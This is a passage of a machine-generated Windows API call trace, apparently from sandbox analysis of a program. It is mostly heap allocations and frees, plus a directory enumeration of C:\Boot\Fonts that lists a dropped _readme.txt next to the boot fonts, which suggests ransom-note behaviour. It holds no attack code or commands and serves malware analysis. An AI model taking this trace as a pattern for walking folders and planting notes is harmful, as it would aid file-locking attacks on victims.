lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.190] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.190] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.190] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.190] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.190] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0059.190] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0059.190] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0059.190] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0059.191] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0059.191] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.191] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.191] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.191] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.191] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.191] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.192] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, 